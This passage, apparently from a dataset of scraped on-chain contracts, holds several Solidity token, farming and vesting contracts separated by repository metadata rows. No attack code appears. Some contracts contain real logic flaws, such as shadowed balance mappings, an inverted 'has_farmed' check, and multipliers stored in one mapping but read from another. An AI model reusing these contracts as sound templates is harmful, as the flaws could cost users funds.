require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract PEER is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Unilord";
string constant tokenSymbol = "PEER";
uint256 _totalSupply = 1180000000 * (10 ** uint256(decimals()));
uint256 public basePercent = 300;
constructor() public payable ERC20(tokenName, tokenSymbol) {
_issue(msg.sender, _totalSupply);
}
/// @notice Returns total token supply
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/// @notice Returns user balance
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/// @notice Returns number of tokens that the owner has allowed the spender to withdraw
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowed[owner][spender];
}
/// @notice Returns value of calculate the quantity to destory during transfer
function cut(uint256 value) public view returns (uint256) {
uint256 c = value.add(basePercent);
uint256 d = c.sub(1);
uint256 roundValue = d.div(basePercent).mul(basePercent);
uint256 cutValue = roundValue.mul(basePercent).div(10000);
return cutValue;
}
/// @notice From owner address sends value to address.
function transfer(address to, uint256 value) public virtual override returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = cut(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
/// @notice Give Spender the right to withdraw as much tokens as value
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = cut(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
/// @notice Add the value of the privilege granted through the allowance function
function upAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/// @notice Subtract the value of the privilege granted through the allowance function
function downAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/// @notice Issue token from 0x address
function _issue(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/// @notice Returns _destory function
function destroy(uint256 amount) external {
_destroy(msg.sender, amount);
}
/// @notice Destroy the token by transferring it to the 0x address.
function _destroy(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function destroyFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_destroy(account, amount);
}
}
| 194,186 | 13,609 |
18633fb70f471a8b52759cd97950361a03a0e86cfcf042a9c0a61464ef594084
| 16,110 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d9/d92a5c15f37a9b73c673ecdf385708db561d7295_LORD.sol
| 3,882 | 15,155 |
// SPDX-License-Identifier: Copyrighted
///@author @drotodev aka P.C.(I)
///@notice Anyway, use this at your own risk
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
///@dev This interface, extending IERC20, allows to control mint and burn of the rewards
interface IERC20RewardToken is IERC20 {
function mint_rewards(uint256 qty, address receiver) external;
function burn_tokens(uint256 qty, address burned) external;
}
contract LORD {
string public name = "LORD";
struct farm_slot {
bool active;
uint balance;
uint deposit_time;
uint locked_time;
address token;
}
struct farm_pool {
mapping(uint => uint) lock_multiplier;
mapping(address => uint) is_farming;
mapping(address => bool) has_farmed;
uint total_balance;
uint min_lock;
uint emission_rate;
address reward;
address owner;
bool mintable;
IERC20RewardToken reward_token;
IERC20 reward_token_fixed;
}
address public owner;
address[] public farms;
mapping(address => mapping(uint => farm_slot)) public farming_unit;
mapping(address => uint[]) farmer_pools;
mapping(address => address[]) owner_farms;
mapping(address => farm_pool) public token_pool;
mapping(address => uint) farm_id;
mapping(address => bool) public is_farmable;
mapping(address => uint) public last_tx;
mapping(address => mapping(uint => uint)) public lock_multiplier;
mapping(address => bool) public is_auth;
uint256 cooldown_time = 10 seconds;
// in constructor pass in the address for fang token and your custom bank token
// that will be used to pay interest
constructor() {
owner = msg.sender;
}
bool locked;
modifier farm_owner(address token) {
require((msg.sender == token_pool[token].owner) || (owner==msg.sender || is_auth[msg.sender]));
_;
}
modifier safe() {
require (!locked, "Guard");
locked = true;
_;
locked = false;
}
modifier cooldown() {
require(block.timestamp > last_tx[msg.sender] + cooldown_time, "Calm down");
_;
last_tx[msg.sender] = block.timestamp;
}
modifier authorized() {
require(owner==msg.sender || is_auth[msg.sender], "403");
_;
}
///@dev Returns the state of a specific pool owned by an user
///@param id The ID of the pool
///@param addy The address of the pool's owner
///@return A bool that indicates the state of the pool
function is_unlocked (uint id, address addy) public view returns(bool) {
return((block.timestamp > farming_unit[addy][id].deposit_time + farming_unit[addy][id].locked_time));
}
///@notice Events
event replenish(address token, uint qty, address from);
event farmed(address token, uint qty, address from, uint lock);
event withdraw(address token, uint qty, uint rewards, address from, uint id);
event rewarded(address token, uint rewards, address from, uint id, uint lock);
///@notice Public farming functions
///@dev Approves spending from this contract in behalf of sender
///@param token Which token need to be approved
function approveTokens(address token) public {
bool approved = IERC20(token).approve(address(this), 2**256 - 1);
require(approved, "Can't approve");
}
///@dev Deposit farmable tokens in the contract
///@param _amount The number of tokens to deposit (expecting decimals too)
///@param token The token to use as deposit
///@param locking Locking time (checked against the minimum of the pool) in seconds
function farmTokens(uint _amount, address token, uint locking) public {
require(is_farmable[token], "Farming not supported");
if(locking < token_pool[token].min_lock) {
locking = token_pool[token].min_lock;
}
require(IERC20(token).allowance(msg.sender, address(this)) >= _amount, "Allowance?");
// Trasnfer farmable tokens to contract for farming
bool transferred = IERC20(token).transferFrom(msg.sender, address(this), _amount);
require(transferred, "Not transferred");
// Update the farming balance in mappings
farm_id[msg.sender]++;
uint id = farm_id[msg.sender];
farming_unit[msg.sender][id].locked_time = locking;
farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount;
farming_unit[msg.sender][id].deposit_time = block.timestamp;
farming_unit[msg.sender][id].token = token;
token_pool[token].total_balance += _amount;
// Add user to farmrs array if they haven't farmd already
if(token_pool[token].has_farmed[msg.sender]) {
token_pool[token].has_farmed[msg.sender] = true;
}
// Update farming status to track
token_pool[token].is_farming[msg.sender]++;
farmer_pools[msg.sender].push(id);
// Emit an event
emit farmed(token, _amount, msg.sender, locking);
}
///@dev Unfarm tokens (if not locked)
///@param id The id of a pool owned by sender
function unfarmTokens(uint id) public safe cooldown {
require(is_unlocked(id, msg.sender), "Locking time not finished");
uint balance = _calculate_rewards(id, msg.sender);
// reqire the amount farmd needs to be greater then 0
require(balance > 0, "farming balance can not be 0");
address target_token = farming_unit[msg.sender][id].token;
bool mint = token_pool[target_token].mintable;
// transfer fang tokens out of this contract to the msg.sender
if(mint) {
IERC20RewardToken target_reward = token_pool[target_token].reward_token;
IERC20(target_token).transfer(msg.sender, farming_unit[msg.sender][id].balance);
target_reward.mint_rewards(balance, msg.sender);
} else {
IERC20 target_reward = token_pool[target_token].reward_token_fixed;
IERC20(target_token).transfer(msg.sender, farming_unit[msg.sender][id].balance);
require(target_reward.balanceOf(address(this)) >= balance, "Not enough supply");
target_reward.transfer(msg.sender, balance);
}
// reset farming balance map to 0
farming_unit[msg.sender][id].balance = 0;
farming_unit[msg.sender][id].active = false;
farming_unit[msg.sender][id].deposit_time = block.timestamp;
address token = farming_unit[msg.sender][id].token;
// update the farming status
token_pool[token].is_farming[msg.sender]--;
// Emit an event
emit withdraw(token, farming_unit[msg.sender][id].balance, balance, msg.sender, id);
}
///@dev Give rewards and clear the reward status
///@param id The id of a pool owned by sender
function issueInterestToken(uint id) public safe cooldown {
require(is_unlocked(id, msg.sender), "Locking time not finished");
address target_token = farming_unit[msg.sender][id].token;
uint balance = _calculate_rewards(id, msg.sender);
bool mint = token_pool[target_token].mintable;
if(mint) {
IERC20RewardToken target_reward = token_pool[target_token].reward_token;
target_reward.mint_rewards(balance, msg.sender);
} else {
IERC20 target_reward = token_pool[target_token].reward_token_fixed;
require(target_reward.balanceOf(address(this)) >= balance, "Not enough supply");
target_reward.transfer(msg.sender, balance);
}
// reset the time counter so it is not double paid
farming_unit[msg.sender][id].deposit_time = block.timestamp;
// Emit an event
emit rewarded(target_token, balance, msg.sender, id, farming_unit[msg.sender][id].locked_time);
}
///@notice Private functions
///@dev Helper to calculate rewards in a quick and lightweight way
///@param id The id of a pool owned by addy
///@param addy The address to calculate the rewards for
function _calculate_rewards(uint id, address addy) public view returns (uint) {
// get the users farming balance in fang
address local_token = farming_unit[addy][id].token;
uint percentage = (farming_unit[addy][id].balance*100)/token_pool[local_token].total_balance;
uint delta_time = block.timestamp - farming_unit[addy][id].deposit_time; // - initial deposit
uint time_bonus = (token_pool[farming_unit[addy][id].token].lock_multiplier[farming_unit[addy][id].locked_time]);
uint base_rate = token_pool[farming_unit[addy][id].token].emission_rate;
uint bonus = (base_rate * time_bonus)/100;
uint final_reward = base_rate + bonus;
uint total_rewards = (final_reward * delta_time);
uint balance = (total_rewards*percentage)/100;
return balance;
}
///@notice Control functions
///@param token The token to create the pool for
///@param reward The token that will be given as reward
///@param min_lock The minimum amount of time accepted as locking time
///@param emission_rate The emission rate per block of the reward token
///@param mintable Specify if the reward token is to mint or to take from the contract
///@param token_decimals The decimals of the reward token
function create_farmable(address token,
address reward,
uint min_lock,
uint emission_rate,
uint token_decimals,
bool mintable)
public payable safe cooldown {
require(!is_farmable[token], "Existing!");
require(IERC20(token).balanceOf(msg.sender)>0, "You don't own any token");
is_farmable[token] = true;
token_pool[token].reward = reward;
token_pool[token].min_lock = min_lock;
token_pool[token].emission_rate = emission_rate * (10**token_decimals);
token_pool[token].owner = msg.sender;
token_pool[token].mintable = mintable;
if(mintable) {
token_pool[token].reward_token = IERC20RewardToken(reward);
} else {
token_pool[token].reward_token_fixed = IERC20(reward);
}
owner_farms[msg.sender].push(token);
}
///@dev A farm owner can add tokens to a non mintable farm to replenish it
///@param amount How many tokens are given
///@param farmable The address of a farm
function add_to_farm_balance(uint amount, address farmable) public farm_owner(farmable) {
require(!token_pool[farmable].mintable, "You can't add balance to a mintable token");
require(IERC20(farmable).balanceOf(msg.sender) >= amount, "Not enough tokens");
require(IERC20(farmable).allowance(msg.sender, address(this)) >= amount, "Please approve spending");
bool sent = IERC20(farmable).transferFrom(msg.sender, address(this), amount);
require(sent, "Cannot transfer");
emit replenish(farmable, amount, msg.sender);
}
///@dev Get all the pools id for a farmer
///@param farmer The farmer address
///@return An array containing the IDs
function get_farmer_pools(address farmer) public view returns(uint[] memory) {
return(farmer_pools[farmer]);
}
///@dev Get all the farms id for an owner
///@param _owner The owner address
///@return An array containing the addresses
function get_owner_farms(address _owner) public view returns(address[] memory) {
return(owner_farms[_owner]);
}
///@dev Authorize or unauthorize an address to operate on this contract
///@param addy The target address
///@param booly Set true or false the authorization
function set_authorized(address addy, bool booly) public authorized {
is_auth[addy] = booly;
}
///@dev A farm owner can transfer the farm ownership
///@param token The farmable token to act on
///@param new_owner The new owner of the farm
function set_farm_owner(address token, address new_owner) public farm_owner(token) {
token_pool[token].owner = new_owner;
}
///@dev A farm owner can enable or disable a farm
///@param token The farm to target
///@param status Enable or disable with true or false
function set_farming_state(address token, bool status) public farm_owner(token) {
is_farmable[token] = status;
}
///@dev Get the status of a given farm
///@param token The farm to check
///@return Farm enabled or not enabled status
function get_farming_state(address token) public view returns (bool) {
return is_farmable[token];
}
///@dev A farm owner can set the multiplier applied based on locking time
///@param token The farm to target
///@param time The locking time to target
///@param multiplier The multiplier (in %) that will be added to the emission rate
function set_multiplier(address token, uint time, uint multiplier) public farm_owner(token) {
lock_multiplier[token][time] = multiplier;
}
///@dev Get the multiplier referred to a locking time for a farm
///@param token The farm to inspect
///@param time The locking time to inspect
///@return The multiplier applied to the emission rate for that farm
function get_multiplier(address token, uint time) public view returns(uint) {
return lock_multiplier[token][time];
}
///@notice time helpers
///@dev Get 1 day in seconds
///@return 1 day in seconds
function HELPER_get_1_day() public pure returns(uint) {
return(1 days);
}
///@dev Get 1 week in seconds
///@return 1 week in seconds
function HELPER_get_1_week() public pure returns(uint) {
return(7 days);
}
///@dev Get 30 days in seconds
///@return 30 days in seconds
function HELPER_get_1_month() public pure returns(uint) {
return(30 days);
}
///@dev Get 90 days in seconds
///@return 90 days in seconds
function HELPER_get_3_months() public pure returns(uint) {
return(90 days);
}
///@dev Get a number of days in seconds
///@return A number of days in seconds
function HELPER_get_x_days(uint x) public pure returns(uint) {
return((1 days*x));
}
///@dev Fallback function to receive ETH
receive() external payable {}
///@dev Fallback function for everything else
fallback() external payable {}
}
| 309,820 | 13,610 |
f9fe9e3a337bfe8388f9399ed06b816f0425bb2270344ea415ff35bf630a7cfe
| 28,453 |
.sol
|
Solidity
| false |
363993391
|
gasgauge/gasgauge.github.io
|
7795ecd73e31b875fb199c36a74ab8ecd74f870d
|
Benchmark/no loops/0x8d12d52d7bbcd6bcde6323f7b6522c870bfa1ae9.sol
| 2,773 | 10,402 |
pragma solidity >=0.5 <0.7.17;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// $CHADS Vesting Contracts (true CHADS do not dump on their frens) adapted from OZ
// @dev [emailprotected] ([emailprotected] was taken)
contract TokenVesting {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
mapping (address => uint256) public released;
event Released(uint256 amount);
constructor(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(IERC20 _token) external {
uint256 unreleased = releasableAmount(_token);
require(unreleased > 0);
released[address(_token)] = released[address(_token)].add(unreleased);
_token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function releasableAmount(IERC20 _token) public view returns (uint256) {
return vestedAmount(_token).sub(released[address(_token)]);
}
function vestedAmount(IERC20 _token) public view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(released[address(_token)]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
| 342,207 | 13,611 |
907e14260f0cef98484cebeb75046d60820f7dd827fff07d0b604da7c7eab5b6
| 13,080 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMNMmRQfQuWSZqpiy99duKES6upCeiJQZN_TSC.sol
| 3,358 | 12,862 |
//SourceUnit: TSC.sol
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount);
(bool success,) = recipient.call.value(amount)("");
require(success);
}
}
contract Ownable {
using Address for address;
address payable public Owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == Owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(Owner, _newOwner);
Owner = _newOwner.toPayable();
}
}
interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint amount, address token, bytes calldata extraData) external;
}
contract TRC20 is ITRC20, Ownable {
using SafeMath for uint;
using Address for address;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function burn(uint amount) public returns (bool) {
_burn(msg.sender, amount);
return true;
}
function approveAndCall(address spender, uint amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0));
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract TRC20Detailed is ITRC20 {
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeTRC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(ITRC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ITRC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ITRC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ITRC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
